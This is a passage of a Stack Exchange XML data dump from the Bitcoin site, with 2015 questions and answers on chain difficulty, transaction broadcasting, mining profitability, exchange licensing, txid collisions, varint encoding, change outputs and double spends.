same. This is why many people just talk of the &quot;length&quot; of the chain, to describe which chain has the greatest total difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sole exception is when two competing blocks occur at the height of a difficulty retarget: Since they would have slightly different timestamps, the new difficulties for their children could differ, and the one with the higher total difficulty could replace the other even at the same height.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-02-15T11:41:12.983" LastActivityDate="2016-02-15T11:41:12.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40436" PostTypeId="2" ParentId="37862" CreationDate="2015-09-07T11:45:27.820" Score="4" Body="&lt;p&gt;You should not use an online service for broadcasting transaction. This online-service would have full control (censor?) over your transaction. The service could analyze your data behavior and/or decide to not broadcast your transaction regarding some rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wladimir van der Laan (current bitcoin-core project maintainer) has written a neat tool: &lt;a href=&quot;https://github.com/laanwj/bitcoin-submittx&quot; rel=&quot;nofollow&quot;&gt;https://github.com/laanwj/bitcoin-submittx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be to install bitcoin-core, sync (takes serval hours and around 40GB traffic) and use RPC sendrawtransaction.&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-09-07T11:45:27.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40438" PostTypeId="2" ParentId="40433" CreationDate="2015-09-07T14:52:50.330" Score="3" Body="&lt;p&gt;No, this will not work.  Cloud computing services give you the ability to rent any number of virtual servers, but each one has comparable capabilities to your desktop computer - you'd still be mining on a CPU.  The costs still outweigh the returns by a factor of thousands, if not millions.  You can rent more servers to get more mining power, but the costs increase linearly in the same way - this will only increase your losses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only possible way to profitably mine Bitcoin is with ASIC hardware, either buying it (and accepting that it will soon be obsolete) or contracting someone to run it on your behalf (which has many pitfalls of its own).  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm trying to invest and make a fixed income without doing a job.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Anything related to cryptocurrency is really not a good way to make a fixed income - the inherent risks are simply too high.  &lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-09-07T14:52:50.330" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40439" PostTypeId="1" CreationDate="2015-09-07T16:30:19.737" Score="1" ViewCount="75" Body="&lt;p&gt;I read something about this, but it seems pretty unenforceable. I understand US-exchanges need to be liscened as money transmitters in every state, but how can US states fine a foreign entity for making transfers to US accounts? What kind of laws are being broken?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I understand, the exchange is only bound by the laws in the country which it does business and transfering money to US bank-accounts isn't exactly breaking any sort of laws. The US customers would still be coming onto the website, presumably hosted in the foreign country, so the business would still only be considered taking place in that foreign country. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm no expert on the legality here of foreign entities. Can anyone offer some advice. &lt;/p&gt;&#xA;" OwnerUserId="29285" LastEditorUserId="5406" LastEditDate="2015-09-08T07:39:29.883" LastActivityDate="2015-09-08T18:49:10.877" Title="Do foreign bitcoin exchanges need to be liscensed in every US state?" Tags="|exchanges|legal|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="40440" PostTypeId="2" ParentId="40433" CreationDate="2015-09-07T17:30:23.507" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can we use those services to mine bit coins in a profitable manner? if not provide reasons.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Because everyone would do so too, right?&lt;/li&gt;&#xA;&lt;li&gt;I'll quote your the same paragraph &lt;strong&gt;you&lt;/strong&gt; wrote:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Our computers has very less power when we compare it to the difficulty&#xA;  level of mining and it's very hard to get one bit coin. But to&#xA;  overcome the second issue there are &quot;pools&quot;. But still the first issue&#xA;  remains the same. The ordinary desktop computers doesn't perform in a&#xA;  good manner relative to &quot;performance/costs spent for the hardware&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I can provide references, but given the quote below, likewise, I'll forego the effort:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm trying to invest and make a fixed income without doing a job.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-09-07T17:30:23.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40441" PostTypeId="1" AcceptedAnswerId="40443" CreationDate="2015-09-07T18:34:32.107" Score="0" ViewCount="725" Body="&lt;p&gt;Looking at &lt;a href=&quot;https://blockchain.info/tx/96efc1b86900c1be69e510cbbca9d2d568600ee3a616be4a850298a46ba9576a?show_adv=true&quot; rel=&quot;nofollow&quot;&gt;this transaction&lt;/a&gt; I was wondering what the unspent part means. Does it belong to the original address owner? If so, how can it be used/claimed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: All cleared up, and seemingly a &lt;a href=&quot;https://bitcointalk.org/index.php?topic=184768.0&quot; rel=&quot;nofollow&quot;&gt;feature of Bitcoin-QT&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6835" LastEditorUserId="6835" LastEditDate="2015-09-08T20:11:51.433" LastActivityDate="2015-09-08T20:11:51.433" Title="Split transaction" Tags="|transactions|change|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40442" PostTypeId="2" ParentId="40425" CreationDate="2015-09-07T18:56:05.183" Score="1" Body="&lt;p&gt;This attack wouldn't work very well, no matter how much money the attacker had.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your question seems to be based on the assumption that transactions larger than BTC 0.01 can always be sent without fees.  This is not accurate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two main risks from such an attack:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The attacker's transactions might occupy all the available space in blocks, preventing other people from having their transactions confirmed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The nodes on the peer-to-peer network might use a lot of bandwidth relaying the attacker's transactions, and not relay other transactions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What I will describe here is how this issue is avoided by miners and nodes using the unmodified Bitcoin Core software.  The rules implemented by this software are explained in detail &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, and what follows is merely a summary. Of course, people are free to use other software, so these rules are not universally followed.  Nevertheless, as long as a significant fraction of miners / users do something similar to this, the attack won't cause serious problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for 1, when selecting which transactions to include in a block, transactions with fees are generally preferred to transactions without fees, and higher fees are preferred to lower fees.  So your attacker's zero-fee transactions would generally not displace those of users who did pay fees.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an exception, 50 Kbytes in each block are reserved for high-priority transactions, even if they have no fees.  Priority is set not only by the size of the transaction, but by the age of its inputs (the so-called &quot;bitcoin days destroyed&quot; metric).  If our attacker wants to make lots of transactions, he will have to send the same coins over and over again, meaning the age of the inputs will be low.  Other transactions that go unconfirmed for a while will slowly gain priority and eventually exceed those of our attacker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in summary:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Fee-paying transactions would not be disrupted&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Non fee-paying transactions might be delayed, but would still eventually go through.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As for relaying, a simpler rule is used: there is a flat limit on the number of bytes per minute of non-fee-paying transactions that will be relayed.  Fee-paying transactions are not subject to this limit.  So:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Fee-paying transactions would still be relayed as before&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Nodes would not use an excessive amount of bandwidth in relaying the attacker's transactions; most of them would not be relayed&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Non fee-paying transactions might have a harder time being relayed.  Users could avoid this by including transaction fees, or by submitting their transactions directly to miners without using the peer-to-peer network.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-09-07T18:56:05.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40443" PostTypeId="2" ParentId="40441" CreationDate="2015-09-07T19:09:49.013" Score="2" Body="&lt;p&gt;The transaction in question has as input 0.37210663 BTC from address 1JvHotWuLtAU991q1mVsBJJe3SiLYq4LQD, and its outputs are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;19eeheTSBooFHQHXDwJZjzoD9uyrXXQ2Mm  0.09507071 BTC&lt;/li&gt;&#xA;&lt;li&gt;1EXmvaXW99eqATkcrMVM8CGe5xYKv9jCR9 0.27661134 BTC&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The first output has already been spent.  This means that whoever holds the private key for address 19ee... created a new transaction using this one as an input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second output has not yet been spent.  This means that whoever holds the private key for address 1EXm... has not yet created a new transaction using this one as an input.  They are free to do so at any time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is likely, but not certain, that one of the addresses 19ee and 1EXm belongs to the same person as the sending address 1JvH.  Because the protocol requires that all coins from the input must be used in the outputs (or rather, any amount that is not used becomes a transaction fee), if the sender didn't actually want to spend all 0.372 BTC, they would have to send the remaining coins (minus whatever they wanted to offer as a fee) back to another address they control.  This idea is called &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9007/why-are-there-two-transaction-outputs-when-sending-to-one-address?lq=1&quot;&gt;change&lt;/a&gt;.  But there is no way for us to know for sure whether this happened, or if it did, which of 19ee and 1EXm is the &quot;real&quot; destination address and which one is the change address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is even possible that all three addresses belong to the same person, who simply wanted to split his coins among some new addresses for some reason.  Again, we have no way to know.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-09-08T19:54:24.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40444" PostTypeId="1" AcceptedAnswerId="40446" CreationDate="2015-09-07T21:12:42.770" Score="8" ViewCount="1930" Body="&lt;p&gt;Let's suppose that I can create SHA256d collisions, and I use this ability to create two transactions that have the same hash, A and B. These transactions are not the same, but they hash to the same value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I submit transaction A to the network, and wait until it has a few confirmations. Then, I submit transaction B. Will it get included into the chain? Will it overwrite transaction A?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the answer to the previous two questions is yes, then what will happen if the block containing transaction B is reorganized out of the chain? Will transaction A be un-overwritten?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-09-08T02:52:22.110" Title="What happens when two txid's collide?" Tags="|transaction-id|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="40445" PostTypeId="2" ParentId="39369" CreationDate="2015-09-07T21:48:04.200" Score="0" Body="&lt;p&gt;Not necessarily answering your question, but I found a HashCash implementation in Java already here: &lt;a href=&quot;https://github.com/ryancwilliams/JHashCash&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ryancwilliams/JHashCash&lt;/a&gt; Perhaps you can contribute or fork it?&lt;/p&gt;&#xA;" OwnerUserId="19360" LastActivityDate="2015-09-07T21:48:04.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40446" PostTypeId="2" ParentId="40444" CreationDate="2015-09-08T02:52:22.110" Score="5" Body="&lt;p&gt;No. After transaction A is included into the chain, transaction B is invalid, and will not be mined. If it does show up in a mined block, the entire block is invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It wasn't always like this. Initially, if a transaction had the same txid as a previous transaction, it would overwrite the first one. Then, if that block was reorganized out of the chain, the second transaction would be removed, but the first transaction would not be added. In other words, adding and removing the block would change the state of the unspent transaction set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That was clearly ricidulous, so under &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0030.mediawiki&quot; rel=&quot;noreferrer&quot;&gt;BIP 30&lt;/a&gt;, including a second transaction with the same txid when &lt;em&gt;any output&lt;/em&gt; from first is still unspent is invalid. It used to be enforced by the timestamp of the block, but it is now applied to &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/ab91bf39b7c11e9c86bb2043c24f0f377f1cf514&quot; rel=&quot;noreferrer&quot;&gt;every block in the blockchain except for the two that break this rule&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-09-08T02:52:22.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40447" PostTypeId="2" ParentId="39347" CreationDate="2015-09-08T03:15:32.830" Score="5" Body="&lt;p&gt;It's been done. It's lame. It's spam. You're incurring cost on the whole network for perpetuity (and no, the fee doesn't pay for that). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really can't stop yourself look at OP_RETURN as that's at least a much more network friendly way of doing it.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-09-08T03:15:32.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40448" PostTypeId="1" CreationDate="2015-09-08T09:40:34.887" Score="18" ViewCount="28021" Body="&lt;p&gt;Are people still fighting about this or have they come to a consensus? Also, as of today (Sep 2015), what is the main advantage of Ripple over Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="28219" LastActivityDate="2018-01-11T06:18:32.523" Title="Is Ripple centralized or decentralized?" Tags="|ripple|decentralization|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40449" PostTypeId="1" AcceptedAnswerId="40463" CreationDate="2015-09-08T13:23:45.473" Score="3" ViewCount="94" Body="&lt;p&gt;In what way can a merchant create a payment address that will gain reputation of trust (this address or some information connecting with the payment request will gain reputation over time and will be known as connected to the merchant ) but still maintain the privacy of the customers sending bitcoin to as if it acted as a new address each payment request ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it be achieved with HD wallet mechanism and how ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it be achieved at all ? &lt;/p&gt;&#xA;" OwnerUserId="5152" LastEditorUserId="5152" LastEditDate="2015-09-08T17:19:42.370" LastActivityDate="2015-09-11T16:42:12.920" Title="How to create both anonymity privacy and still achieve address reputation for merchants" Tags="|privacy|trust|bip32-hd-wallets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40450" PostTypeId="2" ParentId="40399" CreationDate="2015-09-08T14:22:32.403" Score="4" Body="&lt;p&gt;All blocks have a field for their 'difficulty'. This is a parameter that determines how many hashes have to be calculated (on average) before you find a block. Higher difficulty means the block will be harder to solve. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How can a block be considered more difficult to solve/hash than another one?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Think of it like flipping coins, where the difficulty number is the number of Heads you have to flip in a row. So, With difficulty 8, you have to get 8 heads in a row, etc. Difficulty 9 is harder than a difficulty 8. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This difficulty number is used to increase/decrease the number of blocks solved on the network, according to very specific rules, in order to keep blocks solved at an average of 10 minutes. If the network is solving too many blocks, say a block every 9 minutes on average, then the network will increase the difficulty. Similarly, if the network is only solving blocks every 11 minutes at the current difficulty, then the difficulty is lowered. This re-adjustment process happens every two weeks in Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tricky part is what can happen if a fork takes place at the same time as the difficulty adjustment. Let's say our blockchain looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                X_8&#xA;              /&#xA;-&amp;gt; X_8 -&amp;gt; X_8&#xA;              \&#xA;                X_8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Where &lt;code&gt;8&lt;/code&gt; is the difficulty of each block). Since the top fork and the bottom fork have different time fields in their block header, they result in a different difficulty re-adjustment calculation (difficulty re-adjustment is based on number of blocks in a given time, trying to keep it at a block per 10 minutes). Now the next blocks on either side of the chain, which have the newly calculated difficulties, at not given the same weight. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                X_8 -&amp;gt; X_9&#xA;              /&#xA;-&amp;gt; X_8 -&amp;gt; X_8&#xA;              \&#xA;                X_8 -&amp;gt; X_7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since the difficulty re-adjustment in the top fork ended up with a higher difficulty, any block solved on that half of the chain (X_9) will override a block solved on the bottom side of the fork (X_7). However, if X_7 had been solved significantly before the X_9 block, then that would be the chain with the most work (8 + 7 on the bottom chain is better than just 8 on the top chain).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The network essentially looks for the chain of blocks with the highest sum of difficulties, i.e. the chain that took the most work to produce, and would be the hardest for an attacker to try to override. Nodes on the network choose this highest-difficulty-sum chain as their correct chain, and the great thing about this is that when everyone follows the simple rules, they arrive at consensus about the history of transactions. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Does it have to do with the number of transactions it contains?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-09-08T16:49:48.337" LastActivityDate="2015-09-08T16:49:48.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40451" PostTypeId="1" CreationDate="2015-09-08T18:15:09.137" Score="4" ViewCount="945" Body="&lt;p&gt;I'm trying to write a script that constructs a serialized bitcoin transaction from scratch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when it comes to the &lt;strong&gt;number of inputs&lt;/strong&gt;, the field is a &lt;em&gt;variable length integer&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's typically only 1 byte (2 characters) in length and you do not have to do anything with it, because bitcoin transactions rarely have more than 0xFE (253) inputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But what happens when there are more than 253 inputs and the size of the field has to increase to accommodate it?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How would you put a count of 256 inputs in to this field?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_documentation#Variable_length_integer&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Protocol_documentation#Variable_length_integer&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24926" LastActivityDate="2017-08-20T22:49:43.570" Title="How does the variable length integer work?" Tags="|transactions|raw-transaction|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40452" PostTypeId="2" ParentId="40439" CreationDate="2015-09-08T18:49:10.877" Score="1" Body="&lt;p&gt;As CTO of Bit2C, Israel bitcoin exchange I can tell from my experience that the exchange has a bank account at it's local country, the exchange required by the bank which holds the customers funds to &quot;know your customers&quot; and in Israel we are obligated to ask from customers who make deposits to sign a document declaring they have no us citizenship, so we can't deal with US customers.   &lt;/p&gt;&#xA;" OwnerUserId="5152" LastActivityDate="2015-09-08T18:49:10.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40453" PostTypeId="2" ParentId="40432" CreationDate="2015-09-08T18:57:49.437" Score="3" Body="&lt;p&gt;You can use one of the merchant solution providers, such as:&#xA;coinbase, BitPay, for generating addresses per payment (as paypal does) redirects / serve the client with payment request at 3rd party . &#xA;or, you can handle payment process inhouse by generating address for each payment and saving the pk / HD wallet will take much longer and develop time to do. &lt;/p&gt;&#xA;" OwnerUserId="5152" LastActivityDate="2015-09-08T18:57:49.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40454" PostTypeId="2" ParentId="39245" CreationDate="2015-09-08T19:25:22.950" Score="0" Body="&lt;p&gt;The bitcoin script mechanism is very simple and dumb, that's the reason why it is so secure. the more it will be complex the less it can be secured cause more scenarios can occur and points of failures. so you have a very simple mechanism with limited operations, very easy to test and maintain securely, still extendable such as pay to script hash.&lt;/p&gt;&#xA;" OwnerUserId="5152" LastActivityDate="2015-09-08T19:25:22.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40455" PostTypeId="1" CreationDate="2015-09-08T20:32:48.360" Score="-1" ViewCount="90" Body="&lt;p&gt;I've never really given it a thought till now, but do bitcoins have a guaranteed value in gold similar to physical currency(banknotes/coins)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, the value of a currency is guaranteed by the amount of gold the state(s) using it dispose(s) of. &lt;/p&gt;&#xA;" OwnerUserId="12893" LastActivityDate="2015-09-09T13:55:21.563" Title="Bitcoin physical monetary equivalent" Tags="|transactions|client|value|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40456" PostTypeId="2" ParentId="40451" CreationDate="2015-09-08T20:57:23.240" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How would you put a count of 256 inputs in to this field?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;FD 00 01 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(00 01) is low-endian representation of decimal(256)&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-09-08T20:57:23.240" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40457" PostTypeId="2" ParentId="40455" CreationDate="2015-09-08T21:41:32.517" Score="-3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;do bitcoins have a guaranteed value in gold&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;no&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the value of a currency is guaranteed by the amount of gold&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;wrong&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-09-08T21:41:32.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40458" PostTypeId="2" ParentId="39351" CreationDate="2015-09-08T22:16:30.407" Score="0" Body="&lt;p&gt;I am going to second the malware idea. You didn't just make that transaction by accident. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To stop this in the future is easy:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 1. Buy a cheap used Android for under $50. Factory reset it and/or flash the OS if you are comfortable with that level of technical stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 2. Download a wallet generator app on it. Generate a new key pair and put the phone in airplane mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 3. Next time you buy Bitcoin, transfer the bulk of your purchase to that wallet. Now, malware or not, most of your coins are safe.  When you need to spend, just buy more coins and repeat. You can just sweep the wallet you made if there are any issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you know that phone has been flashed or factory reset, it should be malware free. And if it's in airplane mode, malware can't get off of it to report a key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry you lost your $300 :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also clean your PC as soon as possible, or take it to a store if necessary.&lt;/p&gt;&#xA;" OwnerUserId="29298" LastActivityDate="2015-09-08T22:16:30.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40459" PostTypeId="2" ParentId="131" CreationDate="2015-09-08T23:17:28.560" Score="1" Body="&lt;p&gt;You can see the ongoing regulatory discussions and current status in various U.S. states by looking at the Coin Center's state-by-state listing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://coincenter.org/2015/06/state-digital-currency-regulation-tracker/&quot; rel=&quot;nofollow&quot;&gt;https://coincenter.org/2015/06/state-digital-currency-regulation-tracker/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since BTC-trading companies will probably have to file for money transmitter licenses in most/all of fifty states, the laws will likely differ in each state.&lt;/p&gt;&#xA;" OwnerUserId="28176" LastActivityDate="2015-09-08T23:17:28.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40461" PostTypeId="2" ParentId="38476" CreationDate="2015-09-09T07:53:39.903" Score="1" Body="&lt;p&gt;No, there isn't.&#xA;&lt;code&gt;getblockcount&lt;/code&gt; can only get the number of blocks in the best chain, but not the last received block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might need to write a new rpc to get the last received block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, add a new data structure in main.cpp and record blocks received order in &lt;code&gt;ProcessBlock()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, write a rpc to print out that data structure.&lt;/p&gt;&#xA;" OwnerUserId="24722" LastActivityDate="2015-09-09T07:53:39.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40462" PostTypeId="1" CreationDate="2015-09-09T08:09:09.757" Score="3" ViewCount="2354" Body="&lt;p&gt;Here is an example of multiple transactions in the same block, all spending from the same output. I created these using the Electrum wallet, telling Electrum to spend a little bit of the BTC from the same 1AD9xV6aeQMPMzfv5Nzk8yNDgtyV3LaUkB address each time  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://blockchain.info/address/1AD9xV6aeQMPMzfv5Nzk8yNDgtyV3LaUkB&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/address/1AD9xV6aeQMPMzfv5Nzk8yNDgtyV3LaUkB&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VU1WL.png&quot; alt=&quot;Kinda looks like a double spend&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try doing a similar thing myself with Python and the Pycoin library, the second transaction gets flagged as a &quot;double spend&quot; when I submit it to blockchain.info/pushtx. The response I get is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An outpoint is already spent in [DBBitcoinTx [txIndex=101360418, getEstimatedBTCSent()=0, isGeneratedBlockReward()=false, getTotalBTCSent()=0, getHash()=1766bb1b732db7b3eef1bea27a572651ee343d79ca6c5b9e866e2f97e8df85aa, getVersion()=1, getSize()=258, toString()=BitcoinTx{hash=1766bb1b732db7b3eef1bea27a572651ee343d79ca6c5b9e866e2f97e8df85aa, version=1, lockTime=0, in=[], out=[]}, getClass()=class piuk.blockchain_db.DBBitcoinTx]] [(101355273, 1)]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Like in the first example, the total spent by all the transactions never exceeds the total available at that address, so I'm curious why this is considered a &quot;double spend&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should you structure a series of transactions spending from the same address so that a double spend is not triggered?&lt;/p&gt;&#xA;" OwnerUserId="29307" LastActivityDate="2016-06-24T18:52:49.127" Title="When are multiple transactions spending the same output in the same block considered a double spend?" Tags="|transactions|blockchain.info|electrum|doublespend|python|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="40463" PostTypeId="2" ParentId="40449" CreationDate="2015-09-09T11:11:58.583" Score="2" Body="&lt;p&gt;Stealth Address is the answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adapted from CryptoNote technology by Peter Todd (I think), Stealth Address basically is a form of Diffie-Hellman key exchange that allows sender to create a one-time key pair that only receiver can derive the private key. Thus Stealth Address allows merchant to public their well-known address while prevent any payments to be link to that address.&lt;/p&gt;&#xA;" OwnerUserId="29309" LastActivityDate="2015-09-09T11:11:58.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40464" PostTypeId="2" ParentId="38476" CreationDate="2015-09-09T11:29:22.447" Score="1" Body="&lt;p&gt;I think people look at the bitcoind log files to see the received times.  Possibly a grep on the log file might be what you need?&lt;/p&gt;&#xA;" OwnerUserId="29310" LastEditorUserId="29310" LastEditDate="2015-09-09T11:48:03.483" LastActivityDate="2015-09-09T11:48:03.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
